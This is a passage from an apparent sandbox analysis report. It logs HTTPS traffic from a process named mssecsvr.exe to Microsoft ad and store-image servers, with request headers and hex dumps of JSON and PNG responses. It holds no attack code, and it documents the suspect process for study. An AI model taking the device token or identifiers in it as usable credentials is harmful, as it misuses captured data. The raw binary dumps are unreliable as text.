t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p= Cache-Control: no-cache MS-CV: r7U++ELBvUuvTLsQ.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:07:44 UTC	558	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3073 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: EbT0fVRgWUU5enhSj0a5Ud6DwTUCH2HxP339C9peR5j2OLr1tfG852sr347T1kyk2JgxLpw7B4Tah4h5Zqy8wYGT21HtIhddrQkYKHvtWAVFCCHianT1e1R2BOBDM18UW/fYB1Py9j4a9+MrEs+dQlOkMdTtHoruU9Gd98oCNL0Kg4wSoSEL7OolzD7P5HJ/o9AyH6dYrpLBBH7So/Z25vviiVQs6Wwe9wWMPhNy2sfrZ9UDFutY7lb9rf+l01OtSoHcQlkOARhu9kYu1Ry1oCnJvM4P3MuyBqcb8QgmrwYt0EP31BFyNfF1+3163nQ/1OI4CZAStlkRzPJ+El4GBg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:07:44 GMT Connection: close
2022-07-20 17:07:44 UTC	559	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.7	50701	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:46 UTC	562	OUT	GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-2d6e6b2ff76c?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:46 UTC	562	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 16325 Content-Type: image/png Last-Modified: Fri, 29 Apr 2022 10:42:47 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNEMDAxMzU3OTU" MS-CV: zhWxFSME9UiFbJ9+.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:46 UTC	562	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 8e a0 03 00 04 00 00 00 01 00 00 00 8e 00 00 00 00 b6 9a 42 80 00 00 3f 2f 49 44 41 54 78 01 cd 9d 59 ac 6d db 51 9e e7 bd f7 b8 37 6e e9 4c 67 dc 80 6d 7a 22 ba 10 9a 00 7e 08 a4 e3 c1 90 28 34 12 e1 21 41 28 4a 88 10 21 02 d2 10 81 02 02 89 80 88 20 0f 09 88 2e 40 12 d1 93 20 08 84 46 01 0c 08 08 04 1b 30 18 6c 82 e9 6d 63 83 fb 9b fa fe aa bf 66 cd b1 e6 3a e7 1a fb 9e ed 71 cf 9a 55 f5 d7 5f 35 6a 8e 51 7b ac b9 f6 de e7 dc 7b b6 6f fa 77 f7 Data Ascii: PNGIHDR0sRGBDeXIfMM*iB?/IDATxYmQ7nLgmz"~(4!A(J! .@ F0lmcf:qU_5jQ{{ow
2022-07-20 17:07:46 UTC	578	IN	Data Raw: c4 3a 8f 63 58 2f eb 92 5e bf c1 25 c6 9c 95 ef 9c f8 ad af 1c de 55 1c ef 39 92 5f ff 13 10 07 57 0e 89 07 82 35 07 a5 6e e4 76 39 9a 1f 24 e9 dc ec 1a bb e4 e9 98 50 dc 80 96 c4 fa ab 8c 79 cd 45 f2 22 fd 5c f0 30 0f 1c db 33 ee 0c 9b 7e eb f0 18 b6 cf e6 c1 e7 97 b9 17 76 dd ef 05 3e 62 db 07 17 23 e4 6c 8a f6 af 31 4b 6e 78 0c f3 0f 72 70 2f 38 c3 e7 98 8b ff 73 80 93 6b 86 71 69 3c 14 f4 c8 d5 1b 79 da 34 0e a8 49 47 aa 5e 6c b0 6e 02 f4 41 ba d0 2b 8f e6 35 77 e4 36 7f ca b9 99 13 67 9a 69 4f dd 3e b0 33 1c 3f 63 fa 56 ee 99 4d 8c ea a9 9a cd 99 d2 79 2f b0 19 c3 02 c4 58 ef 6d c6 f8 8b 69 62 c4 4c db 1c 76 92 4f b8 e9 1b 27 0c 73 06 e8 fd 99 b1 e4 ba 45 84 9c 78 aa 28 61 78 e7 a8 44 86 34 31 31 cb e8 5c 81 cb 6d ce 1a 4f 1c f3 d5 bc fe 4a 32 3d 83 Data Ascii: :cX/^%U9_W5nv9$PyE"\03~v>b#l1Knxrp/8skqi<y4IG^lnA+5w6giO>3?cVMy/XmibLvO'sEx(axD411\mOJ2=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.7	50728	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:46 UTC	578	OUT	GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-8a1db0a7ac9d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:46 UTC	579	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 5350 Content-Type: image/png Last-Modified: Fri, 04 Jun 2021 08:47:13 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTkzRDcwQUQ" MS-CV: a3126vjzV0e5osTv.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:46 UTC	579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 14 7b 49 44 41 54 78 5e ed 9d 09 78 15 d5 dd c6 c9 06 81 00 21 0b 01 12 b2 90 3d 81 00 05 51 91 45 64 91 55 10 a4 22 8b 02 22 d6 ad ee 68 f5 43 1f 17 6c 6b eb 57 b7 56 11 fc 5c 70 69 7d c4 16 7d 28 da 16 f7 52 45 11 a1 ee 15 10 01 b5 52 10 42 36 b2 cd fb bd ff 99 9b 10 d2 03 4c 92 99 7b e7 de 7b de e7 f9 3d 97 84 64 ce 99 f3 7f 73 ce 99 39 5b 3b 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ad b0 56 1c c9 23 63 c9 c5 e4 4e f2 0c 59 4f 3e 21 df 92 72 52 47 40 ea 49 19 f9 8e 7c 4c e4 e7 9e Data Ascii: PNGIHDR0sRGBgAMAapHYsod{IDATx^x!=QEdU""hClkWV\pi}}(RERB6L{{=ds9[;---------------------V#cNYO>!rRG@I\|L

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.7	50730	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:47 UTC	584	OUT	GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-431c9fcc4d54?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:47 UTC	585	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 64317 Content-Type: image/png Last-Modified: Fri, 29 Apr 2022 10:42:43 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNDRkUxOEI4MTU" MS-CV: hJL5u9fB70qoso/s.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:47 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:47 UTC	585	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 2c a0 03 00 04 00 00 00 01 00 00 01 2c 00 00 00 00 d8 60 82 e7 00 00 40 00 49 44 41 54 78 01 e4 bd 6d cc 75 ed 76 15 b4 df f7 9c 9e 96 7e 9d c2 e9 17 14 fb 0d ad 4d 5b da 83 a5 b6 60 84 46 20 2a 96 60 11 8c 10 a3 89 96 1f 0d 44 8d 7f 1a 7f 98 a8 89 1a 83 09 46 63 fc ab e8 1f 11 4c fc 81 98 aa 29 06 93 86 a4 18 63 a2 10 51 a9 22 04 43 29 1f 8d 4d 69 cf 71 8e 71 8d 31 d7 b8 e6 ba f6 be 9f 93 5a 7a ce db d5 b3 d7 9c 73 cc 31 c6 bc ae b5 f7 5e cf be Data Ascii: PNGIHDR,,y}usRGBDeXIfMMi,,`@IDATxmuv~M[`F `DFcL)cQ"C)Miqq1Zzs1^
2022-07-20 17:07:47 UTC	601	IN	Data Raw: e3 e2 56 d3 fd f6 b0 3e 7c c9 11 f1 94 03 9b 38 fc fc fc 6d bd 2a 58 87 7f a5 3c cc 73 3f d7 a7 1c 96 eb 66 a4 4f 57 35 07 37 2d e0 fe 6d 20 ff 69 8e 78 18 c6 be f6 87 bf a7 e5 1b 54 51 ca 4b 37 ab 82 f3 47 cd 75 53 5b 0b b9 3e 61 f1 05 01 d9 3c bc 53 47 f5 7b 23 c9 1f 9c 6e 05 be e9 02 27 57 75 73 66 bf 0d 95 98 5f d1 b7 ea d6 4e 6e d5 ec 4d 4f 80 85 29 2c d5 e0 3c f5 4c 5e 91 50 ce 1b 13 0c 4f 18 c9 6b da 75 f6 22 e4 fb 6c 2e f1 9c 6d 07 eb 5d 8f 88 75 9c 3c b9 ee e0 6e b5 3c 53 f7 a9 e6 b0 d6 8b 74 5d eb 34 40 4f b3 1d 55 76 20 fe ac 19 7a 0b 78 bd 9f f1 0b f7 fe 26 25 6b af 17 18 f8 38 a8 13 90 fd de c0 a2 f1 9c 5e 01 f7 66 b7 7e 15 5b 5d 82 ae 3b 29 2c f2 cd 13 85 7a 5c 6b e5 93 8a 9a 58 f4 9a d3 c9 e2 44 c9 31 a3 be 6e 20 eb bb 25 8c d4 6f ef f8 c5 Data Ascii: V>\|8m*X<s?fOW57-m ixTQK7GuS[>a<SG{#n'Wusf_NnMO),<L^POku"l.m]u<n<St]4@OUv zx&%k8^f~[];),z\kXD1n %o
2022-07-20 17:07:47 UTC	617	IN	Data Raw: 15 88 b0 d9 48 e8 7d b7 3e 98 8a e8 0d 02 b0 86 df 6e 4a ae 3f 00 91 a1 ed f6 e5 60 db 72 2c 31 1b e6 e4 25 66 c6 01 bc f7 3f d8 a8 04 ef 92 c5 90 58 cd 88 3e 89 32 d7 bf 4b 88 d1 18 1f 4a 1e 9b 7c 8c 6c 30 0d 29 e3 3a e6 2b 0c e0 12 fb cc 79 93 34 3e 95 25 26 d4 d1 13 72 d5 c1 c5 f6 48 8e 6d cf 57 f9 e8 54 71 c5 9f 9c e8 4f 63 3a f0 79 5f f7 f7 46 3e ad 1b ac fc d0 98 be 49 b0 bc e6 8e 7c c3 9b de 7c fb 6b 7f e7 fb 5a 7b 9a 76 07 e6 06 57 db 58 9a 7e b9 8f 52 98 b1 67 96 82 58 f7 74 1b 13 a3 b9 06 1b c4 65 93 50 40 be 5a 90 8d 2b 68 73 99 6a f1 b5 c8 34 43 c0 ca 2b 4b 1c bd 4f 60 8f 2f 2e 83 e4 4f ed e6 69 a7 6b 70 cc 81 4e 7c b8 d1 eb 2d 21 16 58 fc 27 7e a6 39 0e c4 87 e3 3a 07 65 bb 0e cc e1 08 f6 84 69 ae f8 82 9d 04 01 2f dc 54 dd b6 05 39 0a 3b 19 Data Ascii: H}>nJ?`r,1%f?X>2KJ\|l0):+y4>%&rHmWTqOc:y_F>I\|\|kZ{vWX~RgXteP@Z+hsj4C+KO`/.OikpN\|-!X'~9:ei/T9;
2022-07-20 17:07:47 UTC	618	IN	Data Raw: a0 27 87 45 1e cc 16 70 f6 cb 5c f8 7a d8 cc e1 da 87 00 9e bf f9 53 ff c2 d7 aa 5d f4 44 83 b6 74 eb ca d6 f6 f8 d3 4f 63 ca 37 4f 08 0a 64 d1 bd 42 66 5e c4 7f d6 97 7c f3 ed 5b be e7 e9 57 ce d0 da 0c 6f 06 34 b9 7b c4 ec d5 e8 de 62 64 d4 b3 c7 f8 62 c3 7d 59 ba 27 d5 9c 0e cf 61 cd c7 e5 25 26 2f 89 be 56 ae c7 4a 95 06 20 18 e6 d3 48 99 27 e3 2a ed 6d f1 eb 7c d9 b2 c2 bd 3e 74 17 eb 10 48 40 4e 73 c6 de 99 ed 0b 7e 39 c1 67 04 83 1e 73 6c d1 b7 6f e2 e4 b4 3f 33 f1 91 7b 9e 3c e8 7a 79 70 4a 57 7f bb 8c 01 b7 fc 09 6b c8 e1 1b c3 e2 5e b6 e7 50 fc 3b fa dd 57 7f ea cb bf b5 ce 9c be f9 73 c2 dd 4f 5c dd d0 75 ad f8 d5 27 5c 95 6c 4e bc 0d cc 4f 5c 16 1e 1f aa f2 3d f7 17 df f2 e2 ed f7 7c f6 df 94 f4 34 e8 00 4f 29 fc 57 9b d6 ea 89 ec c7 ad 5b bd Data Ascii: 'Ep\zS]DtOc7OdBf^\|[Wo4{bdb}Y'a%&/VJ H'*m\|>tH@Ns~9gslo?3{<zypJWk^P;WsO\u'\lNO\=\|4O)W[
2022-07-20 17:07:47 UTC	634	IN	Data Raw: 54 cd 26 80 c4 55 75 a8 27 2c be c9 34 79 bd 04 da 20 68 66 5c 7c b1 77 aa ff af b5 b3 51 93 24 59 71 ec 77 67 fb fd 1f 79 66 91 e0 60 72 0b 8f a8 ea 9d b5 db e9 80 10 02 37 ff c9 c8 ac ba dd 52 7a ac 3f c5 0f f2 15 64 2d 3e 16 aa e2 c4 e4 7f 19 d1 25 70 b1 a9 83 8f bd 39 fe 1d 96 40 1e 5c f9 fc 98 e6 0d ac 51 1a 3b 0f ae 45 6a 22 d7 79 b4 ca 69 c2 59 f2 cd 51 ce 0f fc 49 76 9f b9 60 86 9f 17 ef a9 93 75 25 ee b0 6f c2 9e ad 1b 7a 8e 43 35 c8 45 ef 59 49 56 af 9a 87 6f f4 5d 9d b3 17 7b de 16 9e c3 bf fd d7 de c4 05 40 aa 86 31 47 4f d1 60 8a dd 57 67 2f 1d 2d 0d 10 ae 31 c7 03 ea 17 ee c5 b1 d6 24 55 42 8d dc ee f3 c4 44 68 e9 dc 4b b1 63 a9 c5 88 b5 7e 01 d1 6f d3 2e a9 28 00 e6 71 b9 f2 9c 8f b9 2b ab c4 20 c7 78 ae e2 77 ed e4 33 1e 68 46 db 42 d7 cd Data Ascii: T&Uu',4y hf\\|wQ$Yqwgyf`r7Rz?d->%p9@\Q;Ej"yiYQIv`u%ozC5EYIVo]{@1GO`Wg/-1$UBDhKc~o.(q+ xw3hFB
2022-07-20 17:07:47 UTC	646	IN	Data Raw: 4d aa 43 fd c3 2c 86 2a c8 e1 55 df 73 c9 0b df e0 c1 5c ab 10 47 56 5f b3 6e 4d 72 1f 37 15 f5 14 96 75 6d f4 d3 40 19 8a 2a 1d 6f 4b d5 5b 73 74 74 51 3c c6 c4 5b 27 8d c1 fc 23 99 49 a3 5b be 79 43 de d9 89 d5 b0 d6 84 6e 90 be e7 1b 3d 93 d0 eb b2 ae 8b 7e 72 b7 3e fc 37 6c 24 96 9f 1c e5 32 7e f3 13 83 2f 2c c7 4d fc f6 89 65 73 a1 8b 55 0e ff b6 e4 d4 93 87 46 98 d6 2f ae 72 7c 99 7c c7 73 12 ab 59 f1 37 3d e1 a2 93 97 1e 3e 39 30 c5 60 dc 33 f4 50 cc bd 77 df cb d4 a1 33 e3 29 b4 9e f2 ac d5 2f c0 75 0c 87 be 70 f9 14 84 35 7f e2 b7 bc 52 c6 a3 9e f9 37 67 0e 4d c5 6e bf 7e 24 04 8c e6 82 bc 26 57 c6 9b 50 5c 0d 79 de 77 f0 ce 58 fc ed ee ae d4 31 74 87 be ec 4e 9b c0 09 50 f0 88 b3 ae 85 07 29 53 b1 b8 7e 39 94 45 9b 0b e9 d3 9b 9a 0f 4d c8 2f 9a Data Ascii: MC,Us\GV_nMr7um@oK[sttQ<['#I[yCn=~r>7l$2~/,MesUF/r\|\|sY7=>90`3Pw3)/up5R7gMn~$&WP\ywX1tNP)S~9EM/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.7	50760	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:48 UTC	648	OUT	GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-bf40f3c5d62d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:48 UTC	648	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 6001 Content-Type: image/png Last-Modified: Thu, 10 Jun 2021 02:49:21 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNTkzQjkwQjA" MS-CV: yq21NaejzkmnbM2s.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:48 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:48 UTC	649	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 17 06 49 44 41 54 78 5e ed dd 09 b0 9d 65 7d c7 f1 4e 9d e9 4c db a9 62 20 a0 b6 45 71 69 15 15 a1 52 16 2b 8a ad 58 5b 75 da 2a 45 ac a2 16 ad d6 aa 5d 54 46 10 5b b5 56 b1 2e 38 5a a5 b2 24 0a 09 10 b2 27 6c 49 48 42 58 b2 40 02 09 d9 20 24 64 83 2c 64 e5 dc b3 2f f7 fe fb fc 9e 9b 33 05 3c e0 bd c9 79 df f3 fe df f3 fd cf 7c e6 86 2c f7 72 96 f7 77 9e e7 79 9f e5 d7 7e ff da 01 03 00 0f 08 2c 00 6e 10 58 00 dc 20 b0 00 b8 41 60 01 70 83 c0 02 e0 06 81 05 c0 0d 02 0b 80 1b 04 16 00 37 08 2c 00 6e 10 58 Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsodIDATx^e}NLb EqiR+X[u*E]TF[V.8Z$'lIHBX@ $d,d/3<y\|,rwy~,nX A`p7,nX

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.7	50914	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:53 UTC	655	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020751Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=374bce9b285f4a2db73096a258c8ff28&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-338389&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p= Cache-Control: no-cache MS-CV: r7U++ELBvUuvTLsQ.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:07:53 UTC	657	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3073 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: Y6VZUwZAQlz+MsY0Hki6LlMNOWf6QTY/lmCWQcCznrJf63Osw3gpKf7ZkxIsHNC3a5dd8X8kNxZQNw2o/tenV2pwfmoLrJf8SiQXHCV0mJwY/vWgk2BPuR6PNzGJdYYdYtJSDgJqAFe3JQ133GNkyy4glPiJ11VbniP4/qzUd+crNLePy+CYojmIfluKNP0Zt3/oLjBzVnWezOEo9NOQuYF3aP3zPbxPKe3DXX0H5xEPGx6jcUCnUG3+6adT2WcUEfebjRBY8c4B9MuU4fvRJblte2VqcxEeipw86wN7bszTRRba38bQaYHFDpnDMDSw8veKEmuEOW0FCczgnSC4OQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:07:53 GMT Connection: close
